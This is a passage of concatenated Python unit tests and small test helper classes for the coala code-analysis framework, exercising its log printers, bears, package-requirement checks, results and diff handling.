from coalib.output.dbus.BuildDbusService import BuildDbusService


class BuildDbusServiceTest(unittest.TestCase):

    def test_build(self):
        dist = Distribution()
        uut = BuildDbusService(dist)
        self.assertRaises(DistutilsOptionError, uut.finalize_options)
        with make_temp() as uut.output:
            uut.finalize_options()

            uut.run()
            with open(uut.output) as file:
                result = file.read(1000)

            self.assertEqual(
                result,
                "[D-BUS Service]\nNames=" + Constants.BUS_NAME +
                "\nExec=coala-dbus")






from coalib.bears.GlobalBear import GlobalBear
from coalib.results.Result import Result


class GlobalTestBear(GlobalBear):  # pragma: no cover

    def run(self, required_arg: bool):
        for filename in self.file_dict:
            return [Result.from_values("GlobalTestBear", "test msg", filename)]






from coalib.bears.LocalBear import LocalBear
from coalib.results.HiddenResult import HiddenResult
from coalib.results.Result import Result


class LocalTestBear(LocalBear):  # pragma: no cover

    def run(self, filename, file):
        return [Result("LocalTestBear", "test msg"),
                HiddenResult("LocalTestBear", "hidden msg")]






import unittest
from datetime import datetime

from pyprint.NullPrinter import NullPrinter
from pyprint.Printer import Printer
from pyprint.StringPrinter import StringPrinter

from coalib.misc import Constants
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.processes.communication.LogMessage import LOG_LEVEL, LogMessage


class LogPrinterTest(unittest.TestCase):
    timestamp = datetime.today()
    log_message = LogMessage(LOG_LEVEL.ERROR,
                             Constants.COMPLEX_TEST_STRING,
                             timestamp=timestamp)

    def test_interface(self):
        uut = LogPrinter(Printer())
        self.assertRaises(NotImplementedError,
                          uut.log_message,
                          self.log_message)

    def test_get_printer(self):
        self.assertIs(LogPrinter(None).printer, None)
        printer = Printer()
        self.assertIs(LogPrinter(printer).printer, printer)

    def test_logging(self):
        uut = LogPrinter(StringPrinter(), timestamp_format="")
        uut.log_message(self.log_message, end="")
        self.assertEqual(uut.printer.string, str(self.log_message))

        uut = LogPrinter(StringPrinter(), log_level=LOG_LEVEL.DEBUG)
        uut.log_message(self.log_message, end="")
        self.assertEqual(
            uut.printer.string,
            "[ERROR][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING)

        uut.printer.clear()
        uut.log(LOG_LEVEL.ERROR,
                Constants.COMPLEX_TEST_STRING,
                timestamp=self.timestamp,
                end="")
        self.assertEqual(
            uut.printer.string,
            "[ERROR][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING)

        uut.printer.clear()
        uut.debug(Constants.COMPLEX_TEST_STRING,
                  "d",
                  timestamp=self.timestamp,
                  end="")
        self.assertEqual(
            uut.printer.string,
            "[DEBUG][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING + " d")

        uut.printer.clear()
        uut.log_level = LOG_LEVEL.INFO
        uut.debug(Constants.COMPLEX_TEST_STRING,
                  timestamp=self.timestamp,
                  end="")
        self.assertEqual(uut.printer.string, "")

        uut.printer.clear()
        uut.info(Constants.COMPLEX_TEST_STRING,
                 "d",
                 timestamp=self.timestamp,
                 end="")
        self.assertEqual(
            uut.printer.string,
            "[INFO][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING + " d")

        uut.log_level = LOG_LEVEL.WARNING
        uut.printer.clear()
        uut.debug(Constants.COMPLEX_TEST_STRING,
                  timestamp=self.timestamp,
                  end="")
        self.assertEqual(uut.printer.string, "")

        uut.printer.clear()
        uut.warn(Constants.COMPLEX_TEST_STRING,
                 "d",
                 timestamp=self.timestamp,
                 end="")
        self.assertEqual(
            uut.printer.string,
            "[WARNING][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING + " d")

        uut.printer.clear()
        uut.err(Constants.COMPLEX_TEST_STRING,
                "d",
                timestamp=self.timestamp,
                end="")
        self.assertEqual(
            uut.printer.string,
            "[ERROR][" + self.timestamp.strftime("%X") + "] " +
            Constants.COMPLEX_TEST_STRING + " d")

        uut.log_level = LOG_LEVEL.DEBUG
        uut.printer.clear()
        uut.log_exception(
            "Something failed.",
            NotImplementedError(Constants.COMPLEX_TEST_STRING),
            timestamp=self.timestamp)
        self.assertTrue(uut.printer.string.startswith(
            "[ERROR][" + self.timestamp.strftime("%X") +
            "] Something failed.\n" +
            "[DEBUG][" + self.timestamp.strftime("%X") +
            "] Exception was:"))

        uut.log_level = LOG_LEVEL.INFO
        uut.printer.clear()
        logged = uut.log_exception(
            "Something failed.",
            NotImplementedError(Constants.COMPLEX_TEST_STRING),
            timestamp=self.timestamp,
            end="")
        self.assertTrue(uut.printer.string.startswith(
            "[ERROR][" + self.timestamp.strftime("%X") +
            "] Something failed."))

    def test_raises(self):
        uut = LogPrinter(NullPrinter())
        self.assertRaises(TypeError, uut.log, 5)
        self.assertRaises(TypeError, uut.log_exception, "message", 5)
        self.assertRaises(TypeError, uut.log_message, 5)












import unittest
from datetime import datetime

from coalib.output.printers.ListLogPrinter import ListLogPrinter
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.processes.communication.LogMessage import LogMessage


class ListLogPrinterTest(unittest.TestCase):

    def test_logging(self):
        uut = ListLogPrinter()
        ts = datetime.today()
        ts_str = ts.strftime("%X")

        uut.log_level = LOG_LEVEL.INFO
        uut.warn("Test value", timestamp=ts)
        uut.print("Test 2", timestamp=ts)  # Should go to INFO
        uut.debug("Test 2", timestamp=ts)  # Should not be logged

        self.assertEqual(uut.logs,
                         [LogMessage(LOG_LEVEL.WARNING,
                                     "Test value",
                                     timestamp=ts),
                          LogMessage(LOG_LEVEL.INFO,
                                     "Test 2",
                                     timestamp=ts)])

        self.assertRaises(TypeError, uut.log_message, "message")






import unittest

from coalib.bears.GlobalBear import BEAR_KIND, GlobalBear
from coalib.settings.Section import Section


class GlobalBearTest(unittest.TestCase):

    def test_api(self):
        test_object = GlobalBear(0, Section("name"), None)
        self.assertRaises(NotImplementedError, test_object.run)

    def test_kind(self):
        self.assertEqual(GlobalBear.kind(), BEAR_KIND.GLOBAL)






import unittest

from coalib.bears.LocalBear import BEAR_KIND, LocalBear
from coalib.settings.Section import Section


class LocalBearTest(unittest.TestCase):

    def test_api(self):
        test_object = LocalBear(Section("name"), None)
        self.assertRaises(NotImplementedError,
                          test_object.run,
                          "filename",
                          ["file\n"])

    def test_kind(self):
        self.assertEqual(LocalBear.kind(), BEAR_KIND.LOCAL)












import multiprocessing
import unittest
from os.path import abspath

from coalib.bears.Bear import Bear
from coalib.results.Result import Result
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.processes.communication.LogMessage import LogMessage
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting


class BadTestBear(Bear):

    def __init__(self, section, queue):
        Bear.__init__(self, section, queue)

    def run(self):
        raise NotImplementedError


class TestBear(Bear):

    BEAR_DEPS = {BadTestBear}

    def __init__(self, section, queue):
        Bear.__init__(self, section, queue)

    def run(self):
        self.print("set", "up", delimiter="=")
        self.err("teardown")
        self.err()


class TypedTestBear(Bear):

    def __init__(self, section, queue):
        Bear.__init__(self, section, queue)
        self.was_executed = False

    def run(self, something: int):
        self.was_executed = True
        return []


class BearWithPrerequisites(Bear):
    prerequisites_fulfilled = True

    def __init__(self, section, queue, prerequisites_fulfilled):
        BearWithPrerequisites.prerequisites_fulfilled = prerequisites_fulfilled
        Bear.__init__(self, section, queue)
        self.was_executed = False

    def run(self):
        self.was_executed = True
        return []

    @classmethod
    def check_prerequisites(cls):
        return cls.prerequisites_fulfilled


class BearTest(unittest.TestCase):

    def setUp(self):
        self.queue = multiprocessing.Queue()
        self.settings = Section("test_settings")
        self.uut = TestBear(self.settings, self.queue)

    def test_simple_api(self):
        self.assertRaises(TypeError, TestBear, self.settings, 2)
        self.assertRaises(TypeError, TestBear, None, self.queue)
        self.assertRaises(NotImplementedError, self.uut.kind)

        base = Bear(self.settings, None)
        self.assertRaises(NotImplementedError, base.run)
        self.assertEqual(base.get_non_optional_settings(), {})

    def test_message_queue(self):
        self.uut.execute()
        self.check_message(LOG_LEVEL.DEBUG,
                           "Running bear TestBear...")
        self.check_message(LOG_LEVEL.DEBUG, "set=up")
        self.check_message(LOG_LEVEL.ERROR, "teardown")

    def test_bad_bear(self):
        self.uut = BadTestBear(self.settings, self.queue)
        self.uut.execute()
        self.check_message(LOG_LEVEL.DEBUG)
        self.check_message(LOG_LEVEL.WARNING,
                           "Bear BadTestBear failed to run. Take a look at "
                           "debug messages (`-L DEBUG`) for further "
                           "information.")
        # debug message contains custom content, dont test this here
        self.queue.get()

    def test_inconvertible(self):
        self.uut = TypedTestBear(self.settings, self.queue)
        self.settings.append(Setting("something", "5"))
        self.uut.execute()
        self.check_message(LOG_LEVEL.DEBUG)
        self.assertTrue(self.uut.was_executed)

        self.settings.append(Setting("something", "nonsense"))
        self.uut.was_executed = False
        self.uut.execute()
        self.check_message(LOG_LEVEL.DEBUG)
        self.check_message(LOG_LEVEL.WARNING)
        self.assertTrue(self.queue.empty())
        self.assertFalse(self.uut.was_executed)

    def check_message(self, log_level, message=None):
        msg = self.queue.get()
        self.assertIsInstance(msg, LogMessage)
        if message:
            self.assertEqual(msg.message, message)

        self.assertEqual(msg.log_level, log_level, msg)

    def test_no_queue(self):
        uut = TestBear(self.settings, None)
        uut.execute()  # No exceptions

    def test_dependencies(self):
        self.assertEqual(Bear.BEAR_DEPS, set())
        self.assertEqual(Bear.missing_dependencies([]), set())
        self.assertEqual(Bear.missing_dependencies([BadTestBear]), set())

        self.assertEqual(TestBear.missing_dependencies([]), {BadTestBear})
        self.assertEqual(TestBear.missing_dependencies([BadTestBear]), set())
        self.assertEqual(TestBear.missing_dependencies([TestBear]),
                         {BadTestBear})
        self.assertEqual(TestBear.missing_dependencies([TestBear,
                                                        BadTestBear]),
                         set())

    def test_check_prerequisites(self):
        uut = BearWithPrerequisites(self.settings, self.queue, True)
        uut.execute()
        self.check_message(LOG_LEVEL.DEBUG)
        self.assertTrue(self.queue.empty())
        self.assertTrue(uut.was_executed)

        self.assertRaisesRegex(RuntimeError,
                               "The bear BearWithPrerequisites does not "
                               "fulfill all requirements\\.",
                               BearWithPrerequisites,
                               self.settings,
                               self.queue,
                               False)

        self.check_message(LOG_LEVEL.WARNING,
                           "The bear BearWithPrerequisites does not fulfill "
                           "all requirements.")
        self.assertTrue(self.queue.empty())

        self.assertRaisesRegex(RuntimeError,
                               "The bear BearWithPrerequisites does not "
                               "fulfill all requirements\\. Just because "
                               "I want to\\.",
                               BearWithPrerequisites,
                               self.settings,
                               self.queue,
                               "Just because I want to.")

        self.check_message(LOG_LEVEL.WARNING,
                           "The bear BearWithPrerequisites does not fulfill "
                           "all requirements. Just because I want to.")
        self.assertTrue(self.queue.empty())

    def test_get_config_dir(self):
        section = Section("default")
        section.append(Setting("files", "**", "/path/to/dir/config"))
        uut = TestBear(section, None)
        self.assertEqual(uut.get_config_dir(), abspath("/path/to/dir"))

    def test_new_result(self):
        bear = Bear(self.settings, None)
        result = bear.new_result('test message', '/tmp/testy')
        expected = Result.from_values(bear, 'test message', '/tmp/testy')
        self.assertEqual(result, expected)






import unittest
import shutil
import sys
from coalib.bears.requirements.PipRequirement import PipRequirement


@unittest.skipIf(shutil.which('pip') is None, "Pip is not installed.")
class PipRequirementTestCase(unittest.TestCase):

    def test_install_command_with_version(self):
        self.assertEqual(
            [sys.executable, '-m', 'pip', 'install', 'setuptools==19.2'],
            PipRequirement('setuptools', '19.2').install_command())

    def test_install_command_without_version(self):
        self.assertEqual([sys.executable, '-m', 'pip', 'install', 'setuptools'],
                         PipRequirement('setuptools').install_command())

    def test_installed_requirement(self):
        self.assertTrue(PipRequirement('pip').is_installed())

    def test_not_installed_requirement(self):
        self.assertFalse(PipRequirement('some_bad_package').is_installed())






import unittest
import shutil
from coalib.bears.requirements.GoRequirement import GoRequirement


@unittest.skipIf(shutil.which('go') is None, "Go is not installed.")
class GoRequirementTestCase(unittest.TestCase):

    def test_installed_requirement(self):
        self.assertTrue(GoRequirement('go').is_installed())

    def test_not_installed_requirement(self):
        self.assertFalse(GoRequirement('some_bad_package').is_installed())






import platform
import unittest
from unittest.mock import patch

from coalib.bears.requirements.DistributionRequirement import (
    DistributionRequirement)


class DistributionRequirementTestCase(unittest.TestCase):

    @patch('platform.linux_distribution', return_value=('Fedora',))
    def test_install_command_mock_fedora(self, call_mock):
        self.assertEqual(platform.linux_distribution()[0], 'Fedora')
        self.assertEqual(DistributionRequirement(
            dnf='libclang', apt_get='libclangs').install_command(),
            ['dnf', 'install', 'libclang'])

    @patch('platform.linux_distribution', return_value=('bad_os',))
    def test_install_command_mock_incompatible_os(self, call_mock):
        self.assertEqual(platform.linux_distribution()[0], 'bad_os')
        with self.assertRaises(OSError):
            DistributionRequirement(
                dnf='libclang', apt_get='libclangs').install_command()






import unittest
import shutil
from coalib.bears.requirements.NpmRequirement import NpmRequirement


@unittest.skipIf(shutil.which('npm') is None, "Npm is not installed.")
class NpmRequirementTestCase(unittest.TestCase):

    def test_installed_requirement(self):
        self.assertTrue(NpmRequirement('npm').is_installed())

    def test_not_installed_requirement(self):
        self.assertFalse(NpmRequirement('some_bad_package').is_installed())






import platform
import shutil
import unittest
from coalib.bears.requirements.GemRequirement import GemRequirement
from coalib.misc.Shell import call_without_output

cmd = ['gem', 'list', '-i', 'ruby']
if platform.system() == 'Windows':  # pragma: no cover
    cmd = ['cmd', '/c'] + cmd


@unittest.skipIf(shutil.which('gem') is None or bool(call_without_output(cmd)),
                 "Gem is not installed.")
class GemRequirementTestCase(unittest.TestCase):

    def test_installed_requirement(self):
        self.assertTrue(GemRequirement('ruby').is_installed())

    def test_not_installed_requirement(self):
        self.assertFalse(GemRequirement('some_bad_package').is_installed())






import shutil
import unittest
from coalib.bears.requirements.RscriptRequirement import RscriptRequirement
from coalib.misc.Shell import call_without_output


@unittest.skipIf(shutil.which('R') is None, "R is not installed.")
class RscriptRequirementTestCase(unittest.TestCase):

    def test_installed_requirement(self):
        self.assertTrue(RscriptRequirement('base').is_installed())

    def test_not_installed_requirement(self):
        self.assertFalse(RscriptRequirement('some_bad_package').is_installed())






from coalib.bears.LocalBear import LocalBear


class JavaTestBear(LocalBear):
    LANGUAGES = {'java'}
    LICENSE = 'AGPL-3.0'

    def run(self, filename, file, config: str=""):
        """
        Bear to test that collecting of languages works.

        :param config: An optional dummy config file.
        """






from coalib.bears.LocalBear import LocalBear
from coalib.results.Result import Result
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY


class LineCountTestBear(LocalBear):

    LANGUAGES = {'all'}

    def run(self, filename, file):
        """
        Counts the lines of each file.
        """
        yield Result.from_values(
            origin=self,
            message="This file has {count} lines.".format(count=len(file)),
            severity=RESULT_SEVERITY.INFO,
            file=filename)






from coalib.bearlib.abstractions.Linter import linter


@linter(executable='echo',
        output_format='regex',
        output_regex=r'.+:(?P<line>\d+):(?P<message>.*)')
class EchoBear:
    """
    A simple bear to test that collectors are importing also bears that are
    defined in another file *but* have baseclasses in the right file.

    (linter will create a new class that inherits from this class.)
    """

    @staticmethod
    def create_arguments(filename, file, config_file):
        return ()












from coalib.bearlib.spacing.SpacingHelper import SpacingHelper
from coalib.bears.LocalBear import LocalBear
from coalib.results.Diff import Diff
from coalib.results.Result import Result


class SpaceConsistencyTestBear(LocalBear):

    def run(self,
            filename,
            file,
            use_spaces: bool,
            allow_trailing_whitespace: bool=False,
            tab_width: int=SpacingHelper.DEFAULT_TAB_WIDTH,
            enforce_newline_at_EOF: bool=True):
        '''
        Checks the space consistency for each line.

        :param use_spaces:                True if spaces are to be used instead
                                          of tabs.
        :param allow_trailing_whitespace: Whether to allow trailing whitespace
                                          or not.
        :param tab_width:                 Number of spaces representing one
                                          tab.
        :param enforce_newline_at_EOF:    Whether to enforce a newline at the
                                          End Of File.
        '''
        spacing_helper = SpacingHelper(tab_width)
        result_texts = []

        for line_number, line in enumerate(file, start=1):
            replacement = line

            if enforce_newline_at_EOF:
                # Since every line contains at the end at least one \n, only
                # the last line could potentially not have one. So we don't
                # need to check whether the current line_number is the last
                # one.
                if replacement[-1] != "\n":
                    replacement += "\n"
                    result_texts.append("No newline at EOF.")

            if not allow_trailing_whitespace:
                replacement = replacement.rstrip(" \t\n") + "\n"
                if replacement != line.rstrip("\n") + "\n":
                    result_texts.append("Trailing whitespaces.")

            if use_spaces:
                pre_replacement = replacement
                replacement = spacing_helper.replace_tabs_with_spaces(
                    replacement)
                if replacement != pre_replacement:
                    result_texts.append("Tabs used instead of spaces.")
            else:
                pre_replacement = replacement
                replacement = spacing_helper.replace_spaces_with_tabs(
                    replacement)
                if replacement != pre_replacement:
                    result_texts.append("Spaces used instead of tabs.")

            if len(result_texts) > 0:
                diff = Diff(file)
                diff.change_line(line_number, line, replacement)
                inconsistencies = "".join("\n- " + string
                                          for string in result_texts)
                yield Result.from_values(
                    self,
                    "Line contains following spacing inconsistencies:"
                    + inconsistencies,
                    diffs={filename: diff},
                    file=filename,
                    line=line_number)
                result_texts = []












import unittest
import json
from os.path import abspath

from coalib.results.Diff import Diff
from coalib.results.Result import RESULT_SEVERITY, Result
from coalib.results.SourceRange import SourceRange
from coalib.output.JSONEncoder import create_json_encoder


class ResultTest(unittest.TestCase):

    def test_origin(self):
        uut = Result("origin", "msg")
        self.assertEqual(uut.origin, "origin")

        uut = Result(self, "msg")
        self.assertEqual(uut.origin, "ResultTest")

        uut = Result(None, "msg")
        self.assertEqual(uut.origin, "")

    def test_invalid_severity(self):
        with self.assertRaises(ValueError):
            Result("o", "m", severity=-5)

    def test_invalid_confidence(self):
        with self.assertRaises(ValueError):
            Result("o", "m", confidence=-1)
        with self.assertRaises(ValueError):
            Result("o", "m", confidence=101)

    def test_string_dict(self):
        uut = Result(None, "")
        output = uut.to_string_dict()
        self.assertEqual(output, {"id": str(uut.id),
                                  "origin": "",
                                  "message": "",
                                  "file": "",
                                  "line_nr": "",
                                  "severity": "NORMAL",
                                  "debug_msg": "",
                                  "additional_info": "",
                                  "confidence": "100"})

        uut = Result.from_values(origin="origin",
                                 message="msg",
                                 file="file",
                                 line=2,
                                 severity=RESULT_SEVERITY.INFO,
                                 additional_info="hi!",
                                 debug_msg="dbg",
                                 confidence=50)
        output = uut.to_string_dict()
        self.assertEqual(output, {"id": str(uut.id),
                                  "origin": "origin",
                                  "message": "msg",
                                  "file": abspath("file"),
                                  "line_nr": "2",
                                  "severity": "INFO",
                                  "debug_msg": "dbg",
                                  "additional_info": "hi!",
                                  "confidence": "50"})

        uut = Result.from_values(origin="o", message="m", file="f", line=5)
        output = uut.to_string_dict()
        self.assertEqual(output["line_nr"], "5")

    def test_apply(self):
        file_dict = {
            "f_a": ["1", "2", "3"],
            "f_b": ["1", "2", "3"]
        }
        expected_file_dict = {
            "f_a": ["1", "3_changed"],
            "f_b": ["1", "2", "3"]
        }
        diff = Diff(file_dict['f_a'])
        diff.delete_line(2)
        diff.change_line(3, "3", "3_changed")

        uut = Result("origin", "msg", diffs={"f_a": diff})
        uut.apply(file_dict)

        self.assertEqual(file_dict, expected_file_dict)

    def test_add(self):
        file_dict = {
            "f_a": ["1", "2", "3"],
            "f_b": ["1", "2", "3"],
            "f_c": ["1", "2", "3"]
        }
        expected_file_dict = {
            "f_a": ["1", "3_changed"],
            "f_b": ["1", "2", "3_changed"],
            "f_c": ["1", "2", "3"]
        }

        diff = Diff(file_dict['f_a'])
        diff.delete_line(2)
        uut1 = Result("origin", "msg", diffs={"f_a": diff})

        diff = Diff(file_dict['f_a'])
        diff.change_line(3, "3", "3_changed")
        uut2 = Result("origin", "msg", diffs={"f_a": diff})

        diff = Diff(file_dict['f_b'])
        diff.change_line(3, "3", "3_changed")
        uut3 = Result("origin", "msg", diffs={"f_b": diff})

        uut1 += uut2 + uut3
        uut1.apply(file_dict)

        self.assertEqual(file_dict, expected_file_dict)

    def test_overlaps(self):
        overlapping_range = SourceRange.from_values("file1", 1, 1, 2, 2)
        nonoverlapping_range = SourceRange.from_values("file2", 1, 1, 2, 2)
        uut = Result.from_values("origin",
                                 "message",
                                 file="file1",
                                 line=1,
                                 column=1,
                                 end_line=2,
                                 end_column=2)
        self.assertTrue(uut.overlaps(overlapping_range))
        self.assertTrue(uut.overlaps([overlapping_range]))
        self.assertFalse(uut.overlaps(nonoverlapping_range))

    def test_location_repr(self):
        result_a = Result(origin="o", message="m")
        self.assertEqual(result_a.location_repr(), "the whole project")

        result_b = Result.from_values("o", "m", file="e")
        self.assertEqual(result_b.location_repr(), "'e'")

        affected_code = (SourceRange.from_values('f'),
                         SourceRange.from_values('g'))
        result_c = Result("o", "m", affected_code=affected_code)
        self.assertEqual(result_c.location_repr(), "'f', 'g'")

        affected_code = (SourceRange.from_values('f'),
                         SourceRange.from_values('f'))
        result_d = Result("o", "m", affected_code=affected_code)
        self.assertEqual(result_d.location_repr(), "'f'")

    def test_json_diff(self):
        file_dict = {
            "f_a": ["1", "2", "3"],
            "f_b": ["1", "2", "3"]
        }
        expected_file = {
            "f_a": ["1", "3_changed"],
            "f_b": ["1", "2", "3"]
        }
        diff = Diff(file_dict['f_a'])
        diff.delete_line(2)
        diff.change_line(3, "3", "3_changed")
        uut = Result("origin", "msg", diffs={"f_a": diff}).__json__(True)
        self.assertEqual(uut["diffs"]['f_a'].__json__(), "--- \n"
                                                         "+++ \n"
                                                         "@@ -1,3 +1,2 @@\n"
                                                         " 1-2-3+3_changed")
        JSONEncoder = create_json_encoder(use_relpath=True)
        json_dump = json.dumps(diff, cls=JSONEncoder, sort_keys=True)
        self.assertEqual(
            json_dump, '"--- \\n+++ \\n@@ -1,3 +1,2 @@\\n 1-2-3+3_changed"')






import unittest

from coalib.results.AbsolutePosition import AbsolutePosition, calc_line_col
from coalib.misc.Constants import COMPLEX_TEST_STRING


class AbsolutePositionTest(unittest.TestCase):

    def test_calc_line_col_newlines(self):
        # no newlines
        text = ("find position of 'z'",)
        z_pos = text[0].find('z')
        self.assertEqual(
                calc_line_col(text, z_pos), (1, z_pos + 1))

        # newline
        text = ("find position of\n", "'z'",)
        string_text = ''.join(text)
        z_pos = string_text.find('z')
        self.assertEqual(calc_line_col(text, z_pos), (2, 2))

    def test_calc_line_col_unicode(self):
        uni_pos = COMPLEX_TEST_STRING.find("↑")
        self.assertEqual(
                calc_line_col((COMPLEX_TEST_STRING,), uni_pos),
                (1, uni_pos + 1))

    def test_calc_line_col_rawstrings(self):
        for raw in [(r'a\b',), (r'a\n',), ('a\\n',)]:
            pos = raw[0].find(raw[0][-1])
            self.assertEqual(calc_line_col(raw, pos), (1, 3))

    def test_calc_line_col_extremes(self):
        # End of Line
        text = ("Fitst Line\n", "End of sencond line z")
        string_text = ''.join(text)
        z_pos = string_text.find('z')
        self.assertEqual(calc_line_col(text, z_pos),
                         (2, len(text[1])))

        # Out of text
        with self.assertRaises(ValueError):
            text = ("Some line")
            calc_line_col(text, 50)

        # start of line
        text = ("First Line\n", "zEnd of sencond line")
        string_text = ''.join(text)
        z_pos = string_text.find('z')
        self.assertEqual(calc_line_col(text, z_pos), (2, 1))

    def test_property(self):
        uut = AbsolutePosition(("1", "2"), 1)
        self.assertEqual(uut.position, 1)
        self.assertEqual(uut.line, 2)
        self.assertEqual(uut.column, 1)

        uut = AbsolutePosition()
        self.assertEqual(uut.position, None)
        self.assertEqual(uut.line, None)
        self.assertEqual(uut.column, None)

        uut = AbsolutePosition(("a\n", "b\n"), 0)
        self.assertEqual(uut.position, 0)
        self.assertEqual(uut.line, 1)
        self.assertEqual(uut.column, 1)

    def test_instantiation(self):
        with self.assertRaises(ValueError):
            uut = AbsolutePosition((), 0)

        uut = AbsolutePosition(position=5)
        self.assertEqual(uut.position, 5)
        self.assertEqual(uut.line, None)
        self.assertEqual(uut.column, None)






import unittest

from coalib.results.HiddenResult import HiddenResult


class HiddenResultTest(unittest.TestCase):

    def test_hidden_result(self):
        uut = HiddenResult("any", "anything")
        self.assertEqual(uut.contents, "anything")






import json
import unittest
from unittest.case import SkipTest

from coalib.output.JSONEncoder import create_json_encoder
from coalib.results.Diff import ConflictError, Diff, SourceRange


class DiffTest(unittest.TestCase):

    def setUp(self):
        self.file = ["1", "2", "3", "4"]
        self.uut = Diff(self.file)

    def test_add_lines(self):
        self.uut.add_lines(0, [])
        self.uut.add_lines(0, ["t"])
        self.uut.add_lines(0, [])

    def test_double_addition(self):
        self.uut.add_lines(0, ["t"])

        # No double addition allowed
        self.assertRaises(ConflictError, self.uut.add_lines, 0, ["t"])
        self.assertRaises(ValueError, self.uut.add_lines, -1, ["t"])
        self.assertRaises(TypeError, self.uut.add_lines, "str", ["t"])

    def test_delete_line(self):
        self.uut.delete_line(1)
        self.uut.delete_line(1)  # Double deletion possible without conflict
        additions, deletions = self.uut.stats()
        self.assertEqual(deletions, 1)
        self.assertRaises(ValueError, self.uut.delete_line, 0)

    def test_delete_lines(self):
        self.uut.delete_lines(1, 10)
        self.uut.delete_lines(10, 20)
        additions, deletions = self.uut.stats()
        self.assertEqual(deletions, 20)
        self.assertRaises(ValueError, self.uut.delete_lines, 0, 10)

    def test_change_line(self):
        self.assertEqual(len(self.uut), 0)
        self.uut.change_line(2, "1", "2")
        self.assertEqual(len(self.uut), 2)
        self.assertRaises(ConflictError, self.uut.change_line, 2, "1", "3")
        self.assertRaises(ValueError, self.uut.change_line, 0, "1", "2")

        self.uut.delete_line(1)
        # Line was deleted, unchangeable
        self.assertRaises(ConflictError, self.uut.change_line, 1, "1", "2")

    def test_double_changes_with_same_diff(self):
        self.uut.change_line(2, "1", "2")

        # Double addition when diff is equal is allowed
        try:
            self.uut.change_line(2, "1", "2")
        except Exception:
            self.fail('We should not have a conflict on same diff!')

    def test_affected_code(self):
        self.assertEqual(self.uut.affected_code("file"), [])

        self.uut.add_lines(0, ["test"])
        affected_code = [
            SourceRange.from_values("file", start_line=1)]
        self.assertEqual(self.uut.affected_code("file"), affected_code)

        self.uut.delete_line(2)
        affected_code = [
            SourceRange.from_values("file", start_line=1),
            SourceRange.from_values("file", start_line=2)]
        self.assertEqual(self.uut.affected_code("file"), affected_code)

        self.uut.delete_line(3)
        affected_code = [
            SourceRange.from_values("file", start_line=1),
            SourceRange.from_values("file", start_line=2, end_line=3)]
        self.assertEqual(self.uut.affected_code("file"), affected_code)

        self.uut.delete_line(6)
        affected_code = [
            SourceRange.from_values("file", start_line=1),
            SourceRange.from_values("file", start_line=2, end_line=3),
            SourceRange.from_values('file', start_line=6)]
        self.assertEqual(self.uut.affected_code("file"), affected_code)

    def test_len(self):
        self.uut.delete_line(2)
        self.assertEqual(len(self.uut), 1)
        self.uut.add_lines(2, ["2.3", "2.5", "2.6"])
        self.assertEqual(len(self.uut), 4)
        self.uut.change_line(1, "1", "1.1")
        self.assertEqual(len(self.uut), 6)

    def test_stats(self):
        self.uut.delete_line(2)
        self.assertEqual(self.uut.stats(), (0, 1))
        self.uut.add_lines(2, ["2.3", "2.5", "2.6"])
        self.assertEqual(self.uut.stats(), (3, 1))
        self.uut.change_line(1, "1", "1.1")
        self.assertEqual(self.uut.stats(), (4, 2))

    def test_modified(self):
        result_file = ["0.1",
                       "0.2",
                       "1",
                       "1.1",
                       "3.changed",
                       "4"]

        self.uut.delete_line(2)
        self.uut.add_lines(0, ["0.1", "0.2"])
        self.uut.add_lines(1, ["1.1"])
        self.uut.change_line(3, "3", "3.changed")

        self.assertEqual(self.uut.modified, result_file)
        self.assertEqual(self.uut.original, self.file)

        self.uut.delete_line(len(self.file))
        del result_file[len(result_file) - 1]
        self.assertEqual(self.uut.modified, result_file)

        self.uut.delete_line(1)
        del result_file[2]
        self.assertEqual(self.uut.modified, result_file)

    def test_addition(self):
        self.assertRaises(TypeError, self.uut.__add__, 5)

        result_file = ["1",
                       "2",
                       "2"]

        other = Diff(self.file)
        other.delete_line(1)
        other.change_line(2, "1", "2")
        other.add_lines(0, ["1"])

        self.uut.delete_line(1)
        self.uut.delete_line(3)
        self.uut.change_line(4, "4", "2")
        result = self.uut + other

        self.assertEqual(result.modified, result_file)
        # Make sure it didn't happen in place!
        self.assertNotEqual(self.uut.modified, result_file)

    def test_addition_rename(self):
        uut = Diff(self.file, rename=False)
        other = Diff(self.file, rename=False)
        self.assertEqual((other + uut).rename, False)

        other.rename = "some.py"
        self.assertEqual((other + uut).rename, "some.py")

        uut.rename = "some.py"
        self.assertEqual((other + uut).rename, "some.py")

        uut.rename = "other.py"
        self.assertRaises(ConflictError, other.__add__, uut)

    def test_from_string_arrays(self):
        a = ["q", "a", "b", "x", "c", "d"]
        b = ["a", "b", "y", "c", "d", "f"]
        self.uut = Diff.from_string_arrays(a, b)
        self.assertEqual(self.uut.modified, b)

        a = ["first", "fourth"]
        b = ["first", "second", "third", "fourth"]
        self.uut = Diff.from_string_arrays(a, b)
        self.assertEqual(self.uut.modified, b)

        a = ["first", "fourth"]
        b = ["first_changed", "second", "third", "fourth"]
        self.uut = Diff.from_string_arrays(a, b)
        self.assertEqual(self.uut.modified, b)

        a = ["first", "second", "third", "fourth"]
        b = ["first", "fourth"]
        self.uut = Diff.from_string_arrays(a, b)
        self.assertEqual(self.uut.modified, b)

        a = ["first", "second", "third", "fourth"]
        b = ["first_changed", "second_changed", "fourth"]
        self.uut = Diff.from_string_arrays(a, b)
        self.assertEqual(self.uut.modified, b)

    def test_from_clang_fixit(self):
        try:
            from clang.cindex import Index, LibclangError
        except ImportError as err:
            raise SkipTest(str(err))

        joined_file = 'struct { int f0; }\nx = { f0 :1 };\n'
        file = joined_file.splitlines(True)
        fixed_file = ['struct { int f0; }\n', 'x = { .f0 = 1 };\n']
        try:
            tu = Index.create().parse('t.c', unsaved_files=[
                ('t.c', joined_file)])
        except LibclangError as err:
            raise SkipTest(str(err))

        fixit = tu.diagnostics[0].fixits[0]
